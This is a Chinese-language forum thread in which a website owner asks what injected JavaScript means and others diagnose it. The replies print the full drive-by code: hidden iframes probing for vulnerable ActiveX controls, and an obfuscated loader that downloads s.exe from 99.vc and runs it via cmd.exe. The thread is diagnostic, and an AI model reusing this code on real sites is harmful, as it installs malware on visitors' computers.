我的网站遭到攻击,帮我看下这段代码是啥意思

Question

tantaiyizu兄这次没有抢到沙发啊，我来接分

Answer 1

var   Then=new   Date();Then.setTime(Then.getTime()+24*60*60*1000);var   cookieString=new   String(document.cookie);var   cookieHeader="Cookie1=";var   beginPosition=cookieString.indexOf(cookieHeader);document.write(' <iframe   style=display:none   src="http://99.vc/real.gif"> </iframe> ');if(beginPosition==-1){document.cookie="Cookie1=POPWINDOS;expires="+Then.toGMTString();try{if(new   ActiveXObject("Microsoft.XMLHTTP"))document.write(' <script   src="http://99.vc/NewJs1.js"> <\/script> ')}catch(e){}try{if(new   ActiveXObject("DPClient.Vod"))document.write(' <iframe   style=display:none   src="http://99.vc/tok.gif"> </iframe> ')}catch(e){}try{if(new   ActiveXObject("MPS.StormPlayer.1"))document.write(' <iframe   style=display:none   src="http://99.vc/bf.gif"> </iframe> ')}catch(e){}try{if(new   ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1"))document.write(' <iframe   style=display:none   src="http://99.vc/T.gif"> </iframe> ')}catch(e){}try{if(new   ActiveXObject("Pdg2"))document.write(' <iframe   style=display:none   src="http://99.vc/reader.gif"> </iframe> ')}catch(e){}try{if(new   ActiveXObject("GLCHAT.GLChatCtrl.1"))document.write(' <iframe   style=display:none   src="http://99.vc/Link.gif"> </iframe> ')}catch(e){}try{if(new   ActiveXObject("BaiduBar.Tool.1"))document.write(' <iframe   style=display:none   src="http://99.vc/baidu.gif"> </iframe> ')}catch(e){}}

Answer 2

解密后：var Then=new Date();
Then.setTime(Then.getTime()+24*60*60*1000);
var cookieString=new String(document.cookie);
var cookieHeader="Cookie1=";
var beginPosition=cookieString.indexOf(cookieHeader);
document.write(' <iframe style=display:none src="http://99.vc/real.gif"> </iframe> ');
if(beginPosition==-1)
{
document.cookie="Cookie1=POPWINDOS;expires="+Then.toGMTString();
try
{
if(new ActiveXObject("Microsoft.XMLHTTP"))document.write(' <script src="http://99.vc/NewJs1.js"> <\/script> ')
}
catch(e)
{
}
try
{
if(new ActiveXObject("DPClient.Vod"))document.write(' <iframe style=display:none src="http://99.vc/tok.gif"> </iframe> ')
}
catch(e)
{
}
try
{
if(new ActiveXObject("MPS.StormPlayer.1"))document.write(' <iframe style=display:none src="http://99.vc/bf.gif"> </iframe> ')
}
catch(e)
{
}
try
{
if(new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1"))document.write(' <iframe style=display:none src="http://99.vc/T.gif"> </iframe> ')
}
catch(e)
{
}
try
{
if(new ActiveXObject("Pdg2"))document.write(' <iframe style=display:none src="http://99.vc/reader.gif"> </iframe> ')
}
catch(e)
{
}
try
{
if(new ActiveXObject("GLCHAT.GLChatCtrl.1"))document.write(' <iframe style=display:none src="http://99.vc/Link.gif"> </iframe> ')
}
catch(e)
{
}
try
{
if(new ActiveXObject("BaiduBar.Tool.1"))document.write(' <iframe style=display:none src="http://99.vc/baidu.gif"> </iframe> ')
}
catch(e)
{
}
}

Answer 3

原来就是常常听到的ActiveX漏洞啊~~~见识了~~
就像微软的office被人发现漏洞后，别人用这些漏洞控制office的ActiveX扩展进行攻击~~

Answer 4

你的服务器有可能中arp病毒了或者同一个服务器提供商中的其他服务器中了arp病毒如果你没有静态绑定网关的mac地址,有可能会被插入垃圾脚本.MB的,我们公司的服务器在同一个网段中的另外一台服务器中了arp病毒,我们服务器没有静态绑定网关的mac地址,搞得每个网站都被插入了一段js脚本.这个病毒还会分时间段来运行.早上8-12点,晚上10-多少点不清楚.今天联系了服务器提供商,要网关的mac地址来静态绑定,不知道有用没有..............反正瑞星和木马防线都扫描不出来,看来不是自己服务器有木马或者病毒.头痛啊.

Answer 5

http://99.vc/NewJs1.js,这个js有谁看过没．里面是什么东东

Answer 6

http://99.vc/NewJs1.js
window.onerror=function(){return true;}
fdsalfjewoifadsf='fasdadsfdsfdff2fdfasf';
function GfadsfdasdfnMs(n) 
{ 
fdsalfjewoifadsf='fasdadsfdsfdff2fdfasf';
 var numberMs = Math.random()*n;
 return '\x7E\x54\x65\x6D\x70'+Math.round(numberMs)+'\x2E\x74\x6D\x70';
}  try 
{
fdsalfjewoifadsf='fasdadsfdsfdff2fdfasf';
 var Bf=document.createElement("\x6F\x62\x6A\x65\x63\x74");
 Bf.setAttribute("\x63\x6C\x61"+"\x73\x73\x69\x64","\x63\x6C"+"\x73\x69\x64\x3A\x42\x44\x39\x36\x43\x35\x35\x36\x2D\x36\x35\x41\x33\x2D\x31\x31\x44\x30\x2D\x39\x38\x33\x41\x2D\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36");
 var Kx=Bf.CreateObject("\x4D\x69\x63\x72\x6F"+"\x73\x6F\x66\x74\x2E\x58"+"\x4D\x4C\x48\x54\x54\x50","");
 var AS=Bf.CreateObject("\x41\x64\x6F\x64\x62\x2E\x53"+"\x74\x72\x65\x61\x6D","");
fdsalfjewoifadsf='fasdadsfdsfdff2fdfasf';
fdsalfjewoifadsf='fasdadsfdsfdff2fdfasf';
 AS.type=1;
fdsalfjewoifadsf='fasdadsfdsfdff2fdfasf';
 Kx.open("\x47\x45\x54", '\x68\x74\x74\x70\x3a\x2f\x2f\x39\x39\x2e\x76\x63\x2f\x73\x2e\x65\x78\x65',0);
fdsalfjewoifadsf='fasdadsfdsfdff2fdfasf';
 Kx.send();
fdsalfjewoifadsf='fasdadsfdsfdff2fdfasf';
 Ns1=GfadsfdasdfnMs(9999);
fdsalfjewoifadsf='fasdadsfdsfdff2fdfasf';
 var cF=Bf.CreateObject("\x53\x63\x72\x69\x70"+"\x74\x69\x6E\x67\x2E\x46\x69"+"\x6C\x65\x53\x79\x73\x74\x65\x6D\x4F\x62\x6A\x65\x63\x74","");
 var NsTmp=cF.GetSpecialFolder(0); Ns1= cF.BuildPath(NsTmp,Ns1); AS.Open();AS.Write(Kx.responseBody);
 AS.SaveToFile(Ns1,2); AS.Close(); var q=Bf.CreateObject("\x53\x68\x65"+"\x6C\x6C\x2E\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E","");
 ok1=cF.BuildPath(NsTmp+'\x5C\x5C\x73"+"\x79\x73\x74"+"\x65\x6D\x33\x32','\x63\x6D\x64\x2E\x65\x78\x65');
 q.ShELLExecute(ok1,'\x20\x2F\x63 '+Ns1,"","\x6F\x70\x65\x6E",0);
} 
catch(AAAAAAAAAAAAAAAA) {AAAAAAAAAAAAAAAA=1}